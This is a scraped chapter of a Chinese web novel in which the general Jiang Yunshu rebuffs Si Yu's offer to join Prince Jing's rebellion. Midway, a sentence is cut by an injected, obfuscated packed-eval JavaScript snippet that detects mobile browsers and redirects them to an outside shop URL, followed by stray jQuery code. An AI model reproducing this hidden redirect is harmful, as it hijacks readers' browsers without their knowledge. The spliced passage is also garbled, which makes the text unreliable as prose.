恭王府距离县主府并不算远,一炷香的功夫后,姜云舒的马便停在了县主府的门口。
如猫十六和张小乙所说,县主府外的确没有卫兵,若这些算是正常,那么郭攀并没有在门口守着,那边是不正常了。
还有更不正常的是,此时等在门口的是斯羽。
到了跟前,张小乙和猫十六见到斯羽不由得一愣,瞬间防备。
“你是什么人!”
刚才他们悄摸回县主府时,并没有见到这个人。
斯羽没有理会张小乙和猫十六,只抬头看向姜云舒。
“乐安县主,欢迎回来。”
他脸上带着笑,依旧笑意不达眼底,不过,此时眼中的算计倒是没有刻意隐藏。
姜云舒眼中的诧异一闪而过,随即一个翻身下马,走到斯羽跟前。
“这个时候,你不在敬王府坐镇,来我县主府有何贵干?”姜云舒也丝毫掩饰对他的防备。
斯羽的视线落在姜云舒的一身铠甲上,目光闪了闪,忍不住轻笑。
“果然,武将世家的孩子,还是穿军装最为飒爽。”
言语之间的称赞,却是藏着莫名的羡慕,亦或者应该称之为嫉妒。
若是邵家没有被灭门,此时他也应该是身披铠甲的少将军。
姜云舒并没有理会他那看似不经意露显露出来的情绪,甚至略显不耐烦的甩给他一个白眼。
“我这个人想来喜欢直接,你有什么事最好只说,这个时候,我并不想将时间浪费在你身上。”
毫不留情面的语气,让斯羽脸上的表情僵了一瞬,随即自嘲般哼笑一声之后,收敛神情。
“如今你也看到了京城之中的乱局,我来找你,自然是想与你联手。”他道。
“联手?”姜云舒瞥他一眼,忍不住好笑,“若是没记错,如今你敬王府和四皇子联手谋逆,你们是叛军,而我率领的,是反叛军。”
“呵,到如今你还要为皇上效命?你的父母拼尽全力将他推上那个位置,平定了朝局扭头就去给他守护边境,可到头来,他查抄你定国将军府时,可没有丝毫的犹豫,姜云舒,你并不是愚忠之人。”
斯羽的情绪似乎在一瞬间被带动起来,说话的同时,眼眶微微泛红。
帝王之家,本就没有任何情分可言!
姜云舒抬了抬眼皮,视线在是斯羽脸上扫过,慢条斯理的吐出三个字。
“所以呢?”
所以呢?
斯羽楞了一下,随后压下涌上来的情绪,平静了些许才开口。
“所以,这便是敬王殿下与皇上的区别,你若在此时协助敬王殿下控制四皇子的兵力,助力敬王成事,届时不管是封王还是分割疆土,甚至重整赤羽军,敬王殿下都会应允。”
说着话,他伸手从腰间拿出一块令牌。
姜云舒低头看一眼,眸光霎时一滞,那是赤羽军的虎符。
这虎符本应该在皇上手里,为何又回到了斯羽这里?
斯羽见姜云舒表情变化,微微眯起的眼睛里带出一丝得意,然而,这带着得意的笑容尚未浮现,却听姜云舒忍不住一声冷笑。
“不愧是狼狈为奸,敬王和四皇子开出的条件该不会是商量好的吧!”
她侧过身,目光寒凉的看向斯羽。
“敬王虽然是在皇上登基之前离京,但他在京城的人脉一直都在,你们不应该不知道,当初皇上登基便要给我爹封王,是我爹娘不要,便是分割疆土又如何?我爹依旧看不上。你这利诱的手段实在是拿不出手。”
更何况,父母保家卫国的初衷自始至终都不是为了哪个帝王效命,他们守护的是一方百姓。
不管当今皇上有多薄情,但是作为君主而言,他当政期间能迅速平定内忧外患,让百姓安居乐业,不失为一个好皇帝。
斯羽的眼神顿了顿,随后神情逐渐沉落。
“是啊,你爹娘可真是心高气傲,可那又如何?如今不也落得个被流放的下场?姜家,邵家都没有什么好下场,你为何还能死心塌地的为他卖命?”
他咬着牙,眼中涌起悲愤和不甘心。
相比之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000558|180412||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下,姜云舒的神情却平静很多。
“怎么,你觉得心里不平衡?你邵家被灭门,所以你怀恨在心,想要推翻了这皇朝给你全家报仇?”
她的语气平静,只是双手不由得攥了起来,说话的同时,余光朝四处瞥一眼。
斯羽此时情绪稍显激动,并没有注意到姜云舒的变化,他扯开嘴角,露出一个狰狞的笑容。
“难道我不应该?君王不仁,百姓尚可揭竿起义,我为什么不能为我邵家军报仇!”
他情绪激动,说话时,嘴唇都在轻颤。
“以为你不配!”
姜云舒清冷的声音仿佛一巴掌抽在斯羽的脸上,她收敛笑意,盯着斯羽,道:“当年你邵家军被讹咒蛊所害,如今你又以蛊为手段控制朝臣,你只当这是报复,让他们也尝尝被蛊控制,求生不得求死不能的滋味,但你没有想过,落在你手里的蛊籍又是从何而来?”
敬王远在屿州封地这么多年,朝中依旧有他的亲信,其中他的手段占一部分,另一部分,便是斯羽在背后推手,利用身边的蛊师给一些官员下了蛊,让他们不得不听从敬王的诏令。
这话出口,斯羽的表情一瞬间冻上了一半,难以置信的抬起头来。
不,不可能!
这些年,他行事隐蔽,姜云舒不可能知道这些!
“你,你怎么……”
他张张嘴没说出话来,随后话锋一转,“你什么意思?”
她为什么提及蛊籍?
姜云舒翻了翻眼皮,没有直接回答,反而问道:“敬王口口声声要南疆王给你邵家一个交代,那你猜当初南疆王为什么没有在关键时刻增援,反而直接撤兵?”
姜云舒的话模棱两可,并没有挑明,可听进斯羽耳朵里,似是带着针一般,让他浑身的视神经瞬间紧绷起来。
“姜云舒,你到底想说什么!”
他的怒气在往上涌,这怒气,似是冲着姜云舒的故弄玄虚,又似乎是他隐约感觉到了什么,被戳了肺管子。
总之,他此时已经耗尽了耐心。